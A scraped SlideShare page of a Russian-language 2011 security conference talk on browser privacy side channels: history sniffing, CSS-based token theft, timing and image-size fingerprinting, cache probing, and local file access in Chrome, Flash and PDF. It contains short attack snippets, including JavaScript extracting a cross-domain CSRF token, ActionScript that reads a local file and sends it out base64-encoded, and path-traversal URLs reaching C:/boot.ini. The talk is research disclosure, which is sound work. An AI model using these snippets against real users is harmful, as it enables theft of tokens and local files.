SlideShare une entreprise Scribd logo
1  sur  24
Télécharger pour lire hors ligne
Безопасность браузеров
Новый взгляд
Google browser security handbook
 Наиболее полное описание
 уязвимостей и механизмов
 безопасности, применяющихся в
 браузерах.
 Рассмотрим часть 2, главу "Life outside
 same-origin rules" раздел "Privacy-related
 side channels".
 http://code.google.com/p/browsersec/wiki/Part2
Google browser security handbook
Reading back CSS :visited class on
links
Full-body CSS theft (Chris Evans
03/09/2010)
Resource inclusion probes with onload
and onerror checks.
Image size fingerprinting
Cache timing
General resource timing (Chris Evans
11/12/2009)
Reading back CSS :visited class
on links (J.Ruderman at 2010)
Для посещенных ссылок автоматически
меняется цвет.
В любом HTML документе, цвет ссылки можно
прочитать через .getComputedStyle или .
currentStyle (cross-domain).
Если цвет ссылки поменялся, то
злоумышленник делает вывод, что в истории
жертвы есть целевая страница.
Перебирая адреса страниц, злоумышленник
получает историю посещений жертвы.
Full-body CSS theft (Chris Evans
 2010, only IE8)
    Браузеры воспринимают HTML как CSS, который
    можно подключить через <STYLE>
    В HTML могут быть конфиденциальные данные
    (например, CSRF токен)
    Конф. данные можно получить благодаря гибкому
    CSS парсеру, встроенному в браузер.

<style>
@import url("http://twitter.com/scarybeaststest");
</style>
var borrowed = document.body.currentStyle.fontFamily;
var i = borrowed.indexOf("authenticity_token = '");
borrowed = borrowed.substring(i + 22);
Resource inclusion probes with
onload and onerror checks
 Браузеры вызывают события onload/onerror в
 зависимости от HTTP статуса загрузки документа
 При загрузке страниц с других доменов в тэгах:
 <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED>
 <IFRAME> <FRAME> отправляется запрос с
 аутентификационными данными (COKIES)
 Веб-приложения часто имеют страницы, HTTP
 статус которых зависит от авторизации
 пользователя (HTTP 3xx, HTTP 4xx)
 Злоумышленник проверяет текущий статус
 авторизации жертвы на целевом домене с любой
 страницы.
Image size finderprinting

 Браузеры автоматически присваивают реальные
 размеры загруженному на страницу изображению
 При загрузке картинок с других доменов в тэге
 <IMG> отправляется запрос с
 аутентификационными данными (COKIES)
 Веб-приложения часто имеют динамические
 картинки, высота и ширина которых зависит от
 статуса авторизации пользователя (или др. прав)
 Злоумышленник проверяет текущий статус
 авторизации жертвы на целевом домене с любой
 страницы.
Cache timing

 После посещения страницы, она копируется в кэш
 браузера - локальные данные ПК
 Если страница находится к кэше, ее загрузка
 осуществляется существенно быстрее
 (пропорционально размеру страницы)
 Злоумышленник может проверить наличие
 страницы в кэше браузера жертвы зная время ее
 загрузки (IFRAME -> onload event)
General resource timing (Chris
Evans 11/12/2009)
 Часто размер динамической страницы веб-
 приложения зависит от статуса авторизации
 пользователя
 Если пользователь авторизован, время загрузки
 страницы будет отличаться от случая, когда
 пользователь не авторизован
 Злоумышленник может проверить статус
 авторизации жертвы зная время ее загрузки
 (IFRAME -> onload event)
Новое в Image size finderprinting.

 Internet Explorer 8, 9, 10 (platform preview)
 поддерживают свойство fileSize для объектов image
 (<img>) и document, что позволяет получить размер
 картинки в байтах
 fileSize позволяет сильно улучшить зону покрытия
 метода
 Метод можно использовать не только для проверки
 авторизации, но и для проверки наличия локальных
 файлов картинок при открытии HTML в зоне file://
Механизмы загрузки файлов в
браузерах
 Можно ли загрузить произвольный файл на диск
 без согласия пользователя?
 Можно ли предугадать путь к загруженному файлу?
Механизмы кэширования в
браузерах
Рассмотрим как кэш браузера храниться на диске
(файлы, SQLite).
В каких случаях кэшированные страницы можно
использовать как локальные HTML из того же
браузера
Cache finderprinting (Chrome)
 Требует локального HTML с кодом PoС
 Используем размеры картинок как сигнатуры
 для распознавания сайтов в кэше.
 Можно определить размер кэша с точностью N,
 где N - среднее количество файлов кэша, на
 которое приходиться одна картинка
Cache finderprinting (Chrome)
Почему работает метод?

   Кэш храниться в виде раздельных локальных
   файлов
   Возможен доступ к файлам с кэшем из
   браузера
   Имена кэш-файлов предугадываемые
   (нумерованные)
   Image size finderprinting
   На проверяемом сайте есть картинка
   уникальных размеров или их
   последовательность:
В примере:
              Youtube: 113x392,
              Google: 284x189 && 167x253
Local files access (HTML)
 Можно ли получить содержимое локальных
 файлов через .innerHTML?
 Как проверить наличие произвольного
 локального файла с ФС?
Local files access (SWF)
   Файл должен быть собран с опцией (Flex)
--use-network=false
   Плагин должен быть открыт в зоне file://

private function getData(name:String):void{
   var url:URLRequest=new URLRequest(name);
   var loader:URLLoader=new URLLoader();
   loader.addEventListener(Event.COMPLETE,populate);
   loader.load(url); }
private function sendData(host:String,data:String):void{
   var enc:Base64Encoder=new Base64Encoder();
   enc.encode(data);
   data=enc.toString();
   navigateToURL(new URLRequest("file:///"+host+"/"+data),"_self");
}                   http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
                     http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
                     E2%80%99s-local-with-filesystem-sandbox/
Local files access (SWF)




         http://www.andlabs.org/whitepapers/F_IE_PrisonBreak.pdf
         http://xs-sniper.com/blog/2011/01/04/bypassing-flash%
         E2%80%99s-local-with-filesystem-sandbox/
Local files access (PDF)
    Adobe 908
    Adobe 925

We will begin our investigation
based on that information.

In the meantime, we ask that
you do not publicly disclose
this potential issue, in order to
protect Adobe's customers.
This has been assigned the
Adobe tracking number 908.
Pri-1
                                                             Area-Internals
                                                             SecSeverity-

 From http:// to file:// (Chrome)                            Medium
                                                             Type-Security
                                                             Mstone-11



Issue 72492 (Feb 9, 2011)
    Из командой строки (.lnk файлов) URL вида http:
    //google.com/../../../../../../../../../../boot.ini ведет на C:
    /boot.ini
    Из ссылок в приложениях (GTalk,ICQ,Skype) надо
    обойти встроенную нормализацию:
http://www.google.ru?q=OMFG../#a/../../../../../../../../../../..
/boot.ini
    Можно вызвать через PDF документ
    расположенный в зоне http://:
app.launchURL("http://../../../../../../../boot.ini",true)
Pri-1
                                   Area-Internals
                                   SecSeverity-

From http:// to file:// (Chrome)   Medium
                                   Type-Security
                                   Mstone-11
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Атака из топора (stealing local file
from remote in Chrome
11.0.696.68)
Что нас ждет? GUI уязвимости
  URL spoofing
  PKI spoofing
  Action spoofing
  Dialogs bypass
ВОПРОСЫ ???


КОНТАКТЫ:
D0znpp@ONSEC.RU

Contenu connexe

Tendances

Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotemТатьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotemKazHackStan
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковYandex
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Mikhail Egorov
 
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.Омские ИТ-субботники
 
Доставка данных в реальном времени.
Доставка данных в реальном времени. Доставка данных в реальном времени.
Доставка данных в реальном времени. beshkenadze
 
Андрей Ковалев - Безопасность сайта: мифы и реальность
Андрей Ковалев - Безопасность сайта: мифы и реальностьАндрей Ковалев - Безопасность сайта: мифы и реальность
Андрей Ковалев - Безопасность сайта: мифы и реальностьYandex
 
Как обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииКак обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииNaZapad
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровYandex
 
Белов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложенияхБелов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложенияхqasib
 
современная практика статического анализа безопасности кода веб приложений
современная практика статического анализа безопасности кода веб приложенийсовременная практика статического анализа безопасности кода веб приложений
современная практика статического анализа безопасности кода веб приложенийSergey Belov
 
Web весна 2012 лекция 11
Web весна 2012 лекция 11Web весна 2012 лекция 11
Web весна 2012 лекция 11Technopark
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийSQALab
 
17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщенияRoman Brovko
 
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковОпенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковYandex
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?phpdevby
 

Tendances (19)

Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotemТатьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
Татьяна Новикова (Казахстан), ЦАРКА. Как мы мониторим Казнет с помощью WebTotem
 
KazHackStan 2017 | Tracking
KazHackStan 2017 | TrackingKazHackStan 2017 | Tracking
KazHackStan 2017 | Tracking
 
Безопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр ВолковБезопасность сайта: мифы и реальность — Петр Волков
Безопасность сайта: мифы и реальность — Петр Волков
 
HTTP протокол
HTTP протоколHTTP протокол
HTTP протокол
 
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
2013-05-04 01 Ксения Дмитриева. HTML5, Взлом и защита.
 
Доставка данных в реальном времени.
Доставка данных в реальном времени. Доставка данных в реальном времени.
Доставка данных в реальном времени.
 
176023
176023176023
176023
 
Андрей Ковалев - Безопасность сайта: мифы и реальность
Андрей Ковалев - Безопасность сайта: мифы и реальностьАндрей Ковалев - Безопасность сайта: мифы и реальность
Андрей Ковалев - Безопасность сайта: мифы и реальность
 
Major mistakes in site moving
Major mistakes in site movingMajor mistakes in site moving
Major mistakes in site moving
 
Как обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендацииКак обезопасить PBN от взлома? Практические рекомендации
Как обезопасить PBN от взлома? Практические рекомендации
 
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеровКак защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
Как защитить свой сайт, Пётр Волков, лекция в Школе вебмастеров
 
Белов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложенияхБелов наиболее часто уязвимые места в веб приложениях
Белов наиболее часто уязвимые места в веб приложениях
 
современная практика статического анализа безопасности кода веб приложений
современная практика статического анализа безопасности кода веб приложенийсовременная практика статического анализа безопасности кода веб приложений
современная практика статического анализа безопасности кода веб приложений
 
Web весна 2012 лекция 11
Web весна 2012 лекция 11Web весна 2012 лекция 11
Web весна 2012 лекция 11
 
Тестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложенийТестирование уязвимостей веб приложений
Тестирование уязвимостей веб приложений
 
17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения17 - Web-технологии. Real Time сообщения
17 - Web-технологии. Real Time сообщения
 
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр ВолковОпенсорс-инструменты на страже безопасности бэкенда — Петр Волков
Опенсорс-инструменты на страже безопасности бэкенда — Петр Волков
 
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Безопасность веб-приложений.  Так ли опасна виртуальная угроза?Безопасность веб-приложений.  Так ли опасна виртуальная угроза?
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
 

En vedette

[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs wafd0znp
 
[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamics[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamicsd0znp
 
Risspa app sec trend micro
Risspa   app sec trend microRisspa   app sec trend micro
Risspa app sec trend microyaevents
 
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБКак построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБInfoWatch
 
Введение в информационный поиск
Введение в информационный поискВведение в информационный поиск
Введение в информационный поискArtem Lukanin
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиSQALab
 
Static Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingStatic Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingRob Ragan
 
InfoWatch Attack Killer решение проблемы всех направленных атак
InfoWatch Attack Killerрешение проблемы всех направленных атакInfoWatch Attack Killerрешение проблемы всех направленных атак
InfoWatch Attack Killer решение проблемы всех направленных атакInfoWatch
 
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...Risk Analysis Consultants, s.r.o.
 
Filter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireFilter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireRob Ragan
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхDmitry Evteev
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииSQALab
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing TechniquesAvinash Thapa
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?beched
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеbeched
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012beched
 
SemBook. Глава 1. Поисковые системы
SemBook. Глава 1. Поисковые системыSemBook. Глава 1. Поисковые системы
SemBook. Глава 1. Поисковые системыROOKEE
 

En vedette (20)

[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf[ONSEC ]XSS vs waf
[ONSEC ]XSS vs waf
 
[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamics[ONSEC] PHP unserialize() _SESSION and Dynamics
[ONSEC] PHP unserialize() _SESSION and Dynamics
 
Risspa app sec trend micro
Risspa   app sec trend microRisspa   app sec trend micro
Risspa app sec trend micro
 
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБКак построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
Как построить систему ИБ в кризис; 3 способа снижения затрат на ИБ
 
Введение в информационный поиск
Введение в информационный поискВведение в информационный поиск
Введение в информационный поиск
 
Тестирование программных фильтров безопасности
Тестирование программных фильтров безопасностиТестирование программных фильтров безопасности
Тестирование программных фильтров безопасности
 
Static Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without FightingStatic Analysis: The Art of Fighting without Fighting
Static Analysis: The Art of Fighting without Fighting
 
InfoWatch Attack Killer решение проблемы всех направленных атак
InfoWatch Attack Killerрешение проблемы всех направленных атакInfoWatch Attack Killerрешение проблемы всех направленных атак
InfoWatch Attack Killer решение проблемы всех направленных атак
 
Bypassing Web Application Firewalls
Bypassing Web Application FirewallsBypassing Web Application Firewalls
Bypassing Web Application Firewalls
 
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
QualysGuard InfoDay 2014 - QualysGuard Web Application Security a Web Applica...
 
Filter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the WireFilter Evasion: Houdini on the Wire
Filter Evasion: Houdini on the Wire
 
Bug-hunter's Sorrow
Bug-hunter's SorrowBug-hunter's Sorrow
Bug-hunter's Sorrow
 
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условияхАнализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
Анализ защищенности Web-приложений, выявление уязвимостей в реальных условиях
 
Опыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компанииОпыт организации тестирования безопасности Web приложений в компании
Опыт организации тестирования безопасности Web приложений в компании
 
いでよ、電卓!
いでよ、電卓!いでよ、電卓!
いでよ、電卓!
 
Waf bypassing Techniques
Waf bypassing TechniquesWaf bypassing Techniques
Waf bypassing Techniques
 
Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?Что общего у CTF и тестов на проникновение?
Что общего у CTF и тестов на проникновение?
 
Пост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновениеПост-эксплуатация веб-приложений в тестах на проникновение
Пост-эксплуатация веб-приложений в тестах на проникновение
 
Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012Алгоритмы пентестов. BaltCTF 2012
Алгоритмы пентестов. BaltCTF 2012
 
SemBook. Глава 1. Поисковые системы
SemBook. Глава 1. Поисковые системыSemBook. Глава 1. Поисковые системы
SemBook. Глава 1. Поисковые системы
 

Similaire à ONsec browsers security PHD2011

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...Ontico
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. ОсновыPositive Hack Days
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)c3retc3
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''DneprCiklumEvents
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Александр Егурцов
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волковkarina krew
 
Использование Symfony
Использование SymfonyИспользование Symfony
Использование SymfonyMedia Gorod
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Ontico
 
Как банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасностьКак банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасностьAndrey Apuhtin
 
Silverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопеSilverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопеAlex Tumanoff
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptPositive Hack Days
 
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...Unigine Corp.
 
Web deployment
Web deploymentWeb deployment
Web deploymentGetDev.NET
 
1С-Битрикс - Производительность
1С-Битрикс - Производительность1С-Битрикс - Производительность
1С-Битрикс - ПроизводительностьAlexander Demidov
 
Desktop app based on node js and html5
Desktop app based on node js and html5Desktop app based on node js and html5
Desktop app based on node js and html5Provectus
 

Similaire à ONsec browsers security PHD2011 (20)

CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
CSRF-уязвимости все еще актуальны: как атакующие обходят CSRF-защиту в вашем ...
 
PT MIFI Labxss
PT MIFI LabxssPT MIFI Labxss
PT MIFI Labxss
 
PT MIFI Labxss
PT  MIFI LabxssPT  MIFI Labxss
PT MIFI Labxss
 
Атаки на web-приложения. Основы
Атаки на web-приложения. ОсновыАтаки на web-приложения. Основы
Атаки на web-приложения. Основы
 
Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)Эволюция атак на веб приложения (Evolution of web applications attacks)
Эволюция атак на веб приложения (Evolution of web applications attacks)
 
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
06 net saturday eugene zharkov ''silverlight. to oob or not to oob''
 
Бесплатное ПО
Бесплатное ПОБесплатное ПО
Бесплатное ПО
 
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)Устройство фреймворка symfony 2 (http://frontend-dev.ru)
Устройство фреймворка symfony 2 (http://frontend-dev.ru)
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
обзор браузеров
обзор браузеровобзор браузеров
обзор браузеров
 
11 лекция, петр волков
11 лекция, петр волков11 лекция, петр волков
11 лекция, петр волков
 
Использование Symfony
Использование SymfonyИспользование Symfony
Использование Symfony
 
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
Application Security - ответы на ежедневные вопросы / Сергей Белов (Mail.Ru G...
 
Как банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасностьКак банки обеспечивают свою безопасность
Как банки обеспечивают свою безопасность
 
Silverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопеSilverlight 4, есть ли жизнь на десктопе
Silverlight 4, есть ли жизнь на десктопе
 
Waf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScriptWaf.js: как защищать веб-приложения с использованием JavaScript
Waf.js: как защищать веб-приложения с использованием JavaScript
 
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
Портирование C++ приложений на FLASCC: опыт Unreal Engine 3. Павел Наказненко...
 
Web deployment
Web deploymentWeb deployment
Web deployment
 
1С-Битрикс - Производительность
1С-Битрикс - Производительность1С-Битрикс - Производительность
1С-Битрикс - Производительность
 
Desktop app based on node js and html5
Desktop app based on node js and html5Desktop app based on node js and html5
Desktop app based on node js and html5
 

ONsec browsers security PHD2011

  • 2. Google browser security handbook Наиболее полное описание уязвимостей и механизмов безопасности, применяющихся в браузерах. Рассмотрим часть 2, главу "Life outside same-origin rules" раздел "Privacy-related side channels". http://code.google.com/p/browsersec/wiki/Part2
  • 3. Google browser security handbook Reading back CSS :visited class on links Full-body CSS theft (Chris Evans 03/09/2010) Resource inclusion probes with onload and onerror checks. Image size fingerprinting Cache timing General resource timing (Chris Evans 11/12/2009)
  • 4. Reading back CSS :visited class on links (J.Ruderman at 2010) Для посещенных ссылок автоматически меняется цвет. В любом HTML документе, цвет ссылки можно прочитать через .getComputedStyle или . currentStyle (cross-domain). Если цвет ссылки поменялся, то злоумышленник делает вывод, что в истории жертвы есть целевая страница. Перебирая адреса страниц, злоумышленник получает историю посещений жертвы.
  • 5. Full-body CSS theft (Chris Evans 2010, only IE8) Браузеры воспринимают HTML как CSS, который можно подключить через <STYLE> В HTML могут быть конфиденциальные данные (например, CSRF токен) Конф. данные можно получить благодаря гибкому CSS парсеру, встроенному в браузер. <style> @import url("http://twitter.com/scarybeaststest"); </style> var borrowed = document.body.currentStyle.fontFamily; var i = borrowed.indexOf("authenticity_token = '"); borrowed = borrowed.substring(i + 22);
  • 6. Resource inclusion probes with onload and onerror checks Браузеры вызывают события onload/onerror в зависимости от HTTP статуса загрузки документа При загрузке страниц с других доменов в тэгах: <SCRIPT> <APPLET> <IMG> <OBJECT> <EMBED> <IFRAME> <FRAME> отправляется запрос с аутентификационными данными (COKIES) Веб-приложения часто имеют страницы, HTTP статус которых зависит от авторизации пользователя (HTTP 3xx, HTTP 4xx) Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 7. Image size finderprinting Браузеры автоматически присваивают реальные размеры загруженному на страницу изображению При загрузке картинок с других доменов в тэге <IMG> отправляется запрос с аутентификационными данными (COKIES) Веб-приложения часто имеют динамические картинки, высота и ширина которых зависит от статуса авторизации пользователя (или др. прав) Злоумышленник проверяет текущий статус авторизации жертвы на целевом домене с любой страницы.
  • 8. Cache timing После посещения страницы, она копируется в кэш браузера - локальные данные ПК Если страница находится к кэше, ее загрузка осуществляется существенно быстрее (пропорционально размеру страницы) Злоумышленник может проверить наличие страницы в кэше браузера жертвы зная время ее загрузки (IFRAME -> onload event)
  • 9. General resource timing (Chris Evans 11/12/2009) Часто размер динамической страницы веб- приложения зависит от статуса авторизации пользователя Если пользователь авторизован, время загрузки страницы будет отличаться от случая, когда пользователь не авторизован Злоумышленник может проверить статус авторизации жертвы зная время ее загрузки (IFRAME -> onload event)
  • 10. Новое в Image size finderprinting. Internet Explorer 8, 9, 10 (platform preview) поддерживают свойство fileSize для объектов image (<img>) и document, что позволяет получить размер картинки в байтах fileSize позволяет сильно улучшить зону покрытия метода Метод можно использовать не только для проверки авторизации, но и для проверки наличия локальных файлов картинок при открытии HTML в зоне file://
  • 11. Механизмы загрузки файлов в браузерах Можно ли загрузить произвольный файл на диск без согласия пользователя? Можно ли предугадать путь к загруженному файлу?
  • 12. Механизмы кэширования в браузерах Рассмотрим как кэш браузера храниться на диске (файлы, SQLite). В каких случаях кэшированные страницы можно использовать как локальные HTML из того же браузера
  • 13. Cache finderprinting (Chrome) Требует локального HTML с кодом PoС Используем размеры картинок как сигнатуры для распознавания сайтов в кэше. Можно определить размер кэша с точностью N, где N - среднее количество файлов кэша, на которое приходиться одна картинка
  • 14. Cache finderprinting (Chrome) Почему работает метод? Кэш храниться в виде раздельных локальных файлов Возможен доступ к файлам с кэшем из браузера Имена кэш-файлов предугадываемые (нумерованные) Image size finderprinting На проверяемом сайте есть картинка уникальных размеров или их последовательность: В примере: Youtube: 113x392, Google: 284x189 && 167x253
  • 15. Local files access (HTML) Можно ли получить содержимое локальных файлов через .innerHTML? Как проверить наличие произвольного локального файла с ФС?
